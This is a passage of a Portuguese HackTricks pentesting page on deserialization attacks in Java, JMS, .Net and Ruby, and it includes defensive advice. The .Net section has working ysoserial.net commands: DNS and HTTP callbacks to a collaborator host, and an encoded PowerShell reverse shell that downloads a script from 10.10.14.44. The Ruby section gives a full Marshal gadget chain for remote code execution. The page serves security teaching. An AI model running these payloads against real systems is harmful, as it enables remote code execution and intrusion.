* Em **requisições HTTP** – Parâmetros, ViewState, Cookies, você escolhe.
|
||
* **RMI** – O protocolo Java RMI amplamente utilizado é 100% baseado em serialização
|
||
* **RMI sobre HTTP** – Muitas aplicações web thick client Java usam isso – novamente 100% objetos serializados
|
||
* **JMX** – Novamente, depende de objetos serializados sendo enviados pela rede
|
||
* **Protocolos Personalizados** – Enviar e receber objetos Java brutos é a norma – o que veremos em alguns dos exploits a seguir
|
||
|
||
### Prevenção
|
||
|
||
#### Objetos transientes
|
||
|
||
Uma classe que implementa `Serializable` pode declarar como `transient` qualquer objeto dentro da classe que não deveria ser serializável. Por exemplo:
|
||
```java
|
||
public class myAccount implements Serializable
|
||
{
|
||
private transient double profit; // declared transient
|
||
private transient double margin; // declared transient
|
||
```
|
||
#### Evite a Serialização de uma classe que precisa implementar Serializable
|
||
|
||
Alguns dos seus objetos de aplicação podem ser forçados a implementar `Serializable` devido à sua hierarquia. Para garantir que seus objetos de aplicação não possam ser desserializados, um método `readObject()` deve ser declarado (com um modificador `final`) que sempre lance uma exceção:
|
||
```java
|
||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||
throw new java.io.IOException("Cannot be deserialized");
|
||
}
|
||
```
|
||
#### Verifique a classe deserializada antes de deserializá-la
|
||
|
||
A classe `java.io.ObjectInputStream` é usada para deserializar objetos. É possível endurecer seu comportamento por meio da subclassificação. Esta é a melhor solução se:
|
||
|
||
* Você pode alterar o código que faz a deserialização
|
||
* Você sabe quais classes espera deserializar
|
||
|
||
A ideia geral é sobrescrever [`ObjectInputStream.html#resolveClass()`](https://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass\(java.io.ObjectStreamClass\)) para restringir quais classes são permitidas ser deserializadas.
|
||
|
||
Como essa chamada acontece antes de um `readObject()` ser chamado, você pode ter certeza de que nenhuma atividade de deserialização ocorrerá, a menos que o tipo seja um que você deseja permitir.
|
||
|
||
Um exemplo simples disso é mostrado aqui, onde a classe `LookAheadObjectInputStream` garante não deserializar nenhum outro tipo além da classe `Bicycle`:
|
||
```java
|
||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||
|
||
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
|
||
super(inputStream);
|
||
}
|
||
|
||
/**
|
||
* Only deserialize instances of our expected Bicycle class
|
||
*/
|
||
@Override
|
||
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
|
||
if (!desc.getName().equals(Bicycle.class.getName())) {
|
||
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
|
||
}
|
||
return super.resolveClass(desc);
|
||
}
|
||
}
|
||
```
|
||
**Endureça Todo o Uso de java.io.ObjectInputStream com um Agente**
|
||
|
||
Se você não possui o código ou não pode esperar por um patch, usar um agente para tecer o endurecimento em `java.io.ObjectInputStream` é a melhor solução.\
|
||
Usando essa abordagem, você pode apenas colocar na lista negra os tipos maliciosos conhecidos e não colocá-los na lista branca, pois você não sabe quais objetos estão sendo serializados.
|
||
|
||
Para habilitar esses agentes, basta adicionar um novo parâmetro JVM:
|
||
```
|
||
-javaagent:name-of-agent.jar
|
||
```
|
||
Exemplo: [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||
|
||
### Referências
|
||
|
||
* Palestra sobre deserialização e ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||
* [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||
* [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||
* Palestra sobre gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) e slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||
* Artigo sobre Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||
* [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||
* [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||
* [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||
* Artigo e palestra sobre deserialização de JSON em Java e .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||
* CVEs de Deserializações: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||
|
||
## JNDI Injection & log4Shell
|
||
|
||
Descubra o que é **JNDI Injection, como abusar dele via RMI, CORBA & LDAP e como explorar log4shell** (e um exemplo dessa vulnerabilidade) na seguinte página:
|
||
|
||
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %}
|
||
[jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md)
|
||
{% endcontent-ref %}
|
||
|
||
## JMS - Java Message Service
|
||
|
||
> A API **Java Message Service** (**JMS**) é uma API de middleware orientada a mensagens Java para enviar mensagens entre dois ou mais clientes. É uma implementação para lidar com o problema produtor-consumidor. JMS faz parte da Java Platform, Enterprise Edition (Java EE) e foi definido por uma especificação desenvolvida na Sun Microsystems, mas que desde então tem sido orientada pelo Java Community Process. É um padrão de mensagens que permite que componentes de aplicativos baseados em Java EE criem, enviem, recebam e leiam mensagens. Permite a comunicação entre diferentes componentes de uma aplicação distribuída de forma desacoplada, confiável e assíncrona. (De [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
|
||
|
||
### Produtos
|
||
|
||
Existem vários produtos que usam esse middleware para enviar mensagens:
|
||
|
||
![](<../../.gitbook/assets/image (291).png>)
|
||
|
||
![](<../../.gitbook/assets/image (292).png>)
|
||
|
||
### Exploração
|
||
|
||
Então, basicamente existem **vários serviços usando JMS de maneira perigosa**. Portanto, se você tiver **privilégios suficientes** para enviar mensagens a esses serviços (geralmente você precisará de credenciais válidas), você poderá enviar **objetos maliciosos serializados que serão desserializados pelo consumidor/assinante**.\
|
||
Isso significa que nessa exploração todos os **clientes que vão usar essa mensagem serão infectados**.
|
||
|
||
Você deve lembrar que mesmo que um serviço seja vulnerável (porque está desserializando inseguramente a entrada do usuário), você ainda precisa encontrar gadgets válidos para explorar a vulnerabilidade.
|
||
|
||
A ferramenta [JMET](https://github.com/matthiaskaiser/jmet) foi criada para **conectar e atacar esses serviços enviando vários objetos maliciosos serializados usando gadgets conhecidos**. Esses exploits funcionarão se o serviço ainda estiver vulnerável e se algum dos gadgets usados estiver dentro da aplicação vulnerável.
|
||
|
||
### Referências
|
||
|
||
* Palestra sobre JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||
* Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||
|
||
## .Net
|
||
|
||
.Net é semelhante ao Java em relação a como os exploits de desserialização funcionam: O **exploit** irá **abusar de gadgets** que **executam** algum **código interessante quando** um objeto é **desserializado**.
|
||
|
||
### Fingerprint
|
||
|
||
#### WhiteBox
|
||
|
||
Pesquise no código-fonte pelos seguintes termos:
|
||
|
||
1. `TypeNameHandling`
|
||
2. `JavaScriptTypeResolver`
|
||
|
||
Procure por qualquer serializador onde o tipo é definido por uma variável controlada pelo usuário.
|
||
|
||
#### BlackBox
|
||
|
||
Você pode procurar pela string codificada em Base64 **AAEAAAD/////** ou qualquer outra coisa que **possa ser desserializada** no back-end e que permita controlar o tipo desserializado\*\*.\*\* Por exemplo, um **JSON** ou **XML** contendo `TypeObject` ou `$type`.
|
||
|
||
### ysoserial.net
|
||
|
||
Neste caso, você pode usar a ferramenta [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) para **criar os exploits de desserialização**. Uma vez baixado o repositório git, você deve **compilar a ferramenta** usando o Visual Studio, por exemplo.
|
||
|
||
Se você quiser aprender sobre **como o ysoserial.net cria seus exploits**, você pode [**verificar esta página onde é explicado o gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||
|
||
As principais opções do **ysoserial.net** são: **`--gadget`**, **`--formatter`**, \*\*`--output` \*\* e **`--plugin`.**
|
||
|
||
* **`--gadget`** usado para indicar o gadget a ser abusado (indicar a classe/função que será abusada durante a desserialização para executar comandos).
|
||
* **`--formatter`**, usado para indicar o método para serializar o exploit (você precisa saber qual biblioteca o back-end está usando para desserializar o payload e usar a mesma para serializá-lo)
|
||
* \*\*`--output` \*\* usado para indicar se você quer o exploit em **raw** ou **codificado em base64**. _Note que o **ysoserial.net** irá **codificar** o payload usando **UTF-16LE** (codificação usada por padrão no Windows), então se você pegar o raw e apenas codificá-lo de um console linux, você pode ter alguns **problemas de compatibilidade de codificação** que impedirão o exploit de funcionar corretamente (na caixa JSON do HTB o payload funcionou tanto em UTF-16LE quanto em ASCII, mas isso não significa que sempre funcionará)._
|
||
* \*\*`--plugin` \*\* ysoserial.net suporta plugins para criar **exploits para frameworks específicos** como ViewState
|
||
|
||
#### Mais parâmetros do ysoserial.net
|
||
|
||
* `--minify` fornecerá um **payload menor** (se possível)
|
||
* `--raf -f Json.Net -c "anything"` Isso indicará todos os gadgets que podem ser usados com um formatador fornecido (`Json.Net` neste caso)
|
||
* `--sf xml` você pode **indicar um gadget** (`-g`) e o ysoserial.net procurará por formatadores contendo "xml" (insensível a maiúsculas e minúsculas)
|
||
|
||
**Exemplos de ysoserial** para criar exploits:
|
||
```bash
|
||
#Send ping
|
||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
||
|
||
#Timing
|
||
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
|
||
|
||
#DNS/HTTP request
|
||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
|
||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
|
||
|
||
#Reverse shell
|
||
#Create shell command in linux
|
||
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
|
||
#Create exploit using the created B64 shellcode
|
||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||
```
|
||
**ysoserial.net** também possui um **parâmetro muito interessante** que ajuda a entender melhor como cada exploit funciona: `--test`\
|
||
Se você indicar esse parâmetro, o **ysoserial.net** irá **tentar** o **exploit localmente,** para que você possa testar se seu payload funcionará corretamente.\
|
||
Esse parâmetro é útil porque, se você revisar o código, encontrará trechos de código como o seguinte (de [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||
```java
|
||
if (inputArgs.Test)
|
||
{
|
||
try
|
||
{
|
||
SerializersHelper.JsonNet_deserialize(payload);
|
||
}
|
||
catch (Exception err)
|
||
{
|
||
Debugging.ShowErrors(inputArgs, err);
|
||
}
|
||
}
|
||
```
|
||
Isso significa que, para testar o exploit, o código chamará [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
|
||
```java
|
||
public static object JsonNet_deserialize(string str)
|
||
{
|
||
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
|
||
{
|
||
TypeNameHandling = TypeNameHandling.Auto
|
||
});
|
||
return obj;
|
||
}
|
||
```
|
||
No **código anterior é vulnerável ao exploit criado**. Portanto, se você encontrar algo semelhante em uma aplicação .Net, isso significa que provavelmente essa aplicação também é vulnerável.
|
||
Assim, o parâmetro **`--test`** nos permite entender **quais trechos de código são vulneráveis** ao exploit de deserialização que o **ysoserial.net** pode criar.
|
||
|
||
### ViewState
|
||
|
||
Dê uma olhada [neste POST sobre **como tentar explorar o parâmetro \_\_ViewState do .Net**](exploiting-\_\_viewstate-parameter.md) para **executar código arbitrário**. Se você **já conhece os segredos** usados pela máquina vítima, [**leia este post para saber como executar código**](exploiting-\_\_viewstate-knowing-the-secret.md)**.**
|
||
|
||
### **Prevenção**
|
||
|
||
Não permita que o fluxo de dados defina o tipo de objeto para o qual o fluxo será deserializado. Você pode prevenir isso, por exemplo, usando o `DataContractSerializer` ou `XmlSerializer`, se possível.
|
||
|
||
Quando estiver usando `JSON.Net`, certifique-se de que o `TypeNameHandling` esteja configurado apenas como `None`.
|
||
```
|
||
TypeNameHandling = TypeNameHandling.None
|
||
```
|
||
Se `JavaScriptSerializer` for ser usado, então não o utilize com um `JavaScriptTypeResolver`.
|
||
|
||
Se for necessário deserializar fluxos de dados que definem seu próprio tipo, então restrinja os tipos que são permitidos para deserialização. Deve-se estar ciente de que isso ainda é arriscado, pois muitos tipos nativos do .Net são potencialmente perigosos por si só. Exemplo:
|
||
```
|
||
System.IO.FileInfo
|
||
```
|
||
Objetos `FileInfo` que referenciam arquivos realmente presentes no servidor podem, quando desserializados, alterar as propriedades desses arquivos, por exemplo, para somente leitura, criando um potencial ataque de negação de serviço.
|
||
|
||
Mesmo que você tenha limitado os tipos que podem ser desserializados, lembre-se de que alguns tipos têm propriedades que são arriscadas. `System.ComponentModel.DataAnnotations.ValidationException`, por exemplo, tem uma propriedade `Value` do tipo `Object`. Se esse tipo é o tipo permitido para desserialização, então um atacante pode definir a propriedade `Value` para qualquer tipo de objeto que escolherem.
|
||
|
||
Atacantes devem ser impedidos de direcionar o tipo que será instanciado. Se isso for possível, então até `DataContractSerializer` ou `XmlSerializer` podem ser subvertidos, por exemplo:
|
||
```
|
||
// Action below is dangerous if the attacker can change the data in the database
|
||
var typename = GetTransactionTypeFromDatabase();
|
||
|
||
var serializer = new DataContractJsonSerializer(Type.GetType(typename));
|
||
|
||
var obj = serializer.ReadObject(ms);
|
||
```
|
||
A execução pode ocorrer dentro de certos tipos .Net durante a desserialização. Criar um controle como o mostrado abaixo é ineficaz.
|
||
```
|
||
var suspectObject = myBinaryFormatter.Deserialize(untrustedData);
|
||
|
||
//Check below is too late! Execution may have already occurred.
|
||
if (suspectObject is SomeDangerousObjectType)
|
||
{
|
||
//generate warnings and dispose of suspectObject
|
||
}
|
||
```
|
||
Para `BinaryFormatter` e `JSON.Net` é possível criar uma forma mais segura de controle de lista branca usando um `SerializationBinder` personalizado.
|
||
|
||
Tente manter-se atualizado sobre os gadgets de deserialização insegura .Net conhecidos e preste atenção especial onde tais tipos podem ser criados pelos seus processos de deserialização. **Um deserializador só pode instanciar tipos que ele conhece**.
|
||
|
||
Tente manter qualquer código que possa criar gadgets potenciais separado de qualquer código que tenha conectividade com a internet. Como exemplo, `System.Windows.Data.ObjectDataProvider` usado em aplicações WPF é um gadget conhecido que permite a invocação arbitrária de métodos. Seria arriscado ter uma referência a este assembly em um projeto de serviço REST que deserializa dados não confiáveis.
|
||
|
||
### **Referências**
|
||
|
||
* Java e .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp)
|
||
* [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf)
|
||
* [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
||
|
||
## **Ruby**
|
||
|
||
Ruby possui dois métodos para implementar serialização dentro da biblioteca **marshal**: o primeiro método é **dump** que converte objeto em fluxos de bytes **(serialize)**. E o segundo método é **load** para converter fluxos de bytes em objeto novamente (**deserialize**).\
|
||
Ruby usa HMAC para assinar o objeto serializado e salva a chave em um dos seguintes arquivos:
|
||
|
||
* config/environment.rb
|
||
* config/initializers/secret\_token.rb
|
||
* config/secrets.yml
|
||
* /proc/self/environ
|
||
|
||
Cadeia de gadgets de deserialização genérica do Ruby 2.X para RCE (mais informações em [https://www.elttam.com/blog/ruby-deserialization/](https://www.elttam.com/blog/ruby-deserialization/)):
|
||
```ruby
|
||
#!/usr/bin/env ruby
|
||
|
||
class Gem::StubSpecification
|
||
def initialize; end
|
||
end
|
||
|
||
|
||
stub_specification = Gem::StubSpecification.new
|
||
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
|
||
|
||
puts "STEP n"
|
||
stub_specification.name rescue nil
|
||
puts
|
||
|
||
|
||
class Gem::Source::SpecificFile
|
||
def initialize; end
|
||
end
|
||
|
||
specific_file = Gem::Source::SpecificFile.new
|
||
specific_file.instance_variable_set(:@spec, stub_specification)
|
||
|
||
other_specific_file = Gem::Source::SpecificFile.new
|
||
|
||
puts "STEP n-1"
|
||
specific_file <=> other_specific_file rescue nil
|
||
puts
|
||
|
||
|
||
$dependency_list= Gem::DependencyList.new
|
||
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
|
||
|
||
puts "STEP n-2"
|
||
$dependency_list.each{} rescue nil
|
||
puts
|
||
|
||
|
||
class Gem::Requirement
|
||
def marshal_dump
|
||
[$dependency_list]
|
||
end
|
||
end
|
||
|
||
payload = Marshal.dump(Gem::Requirement.new)
|
||
|
||
puts "STEP n-3"
|
||
Marshal.load(payload) rescue nil
|
||
puts
|
||
|
||
|
||
puts "VALIDATION (in fresh ruby process):"
|
||
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
|
||
pipe.print payload
|
||
pipe.close_write
|
||
puts pipe.gets
|
||
puts
|
||
end
|
||
|
||
puts "Payload (hex):"
|
||
puts payload.unpack('H*')[0]
|
||
puts
|
||
|
||
|
||
require "base64"
|
||
puts "Payload (Base64 encoded):"
|
||
puts Base64.encode64(payload)
|
||
```
|
||
Outra cadeia de RCE para explorar Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Aprenda AWS hacking do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Outras formas de apoiar o HackTricks:
|
||
|
||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|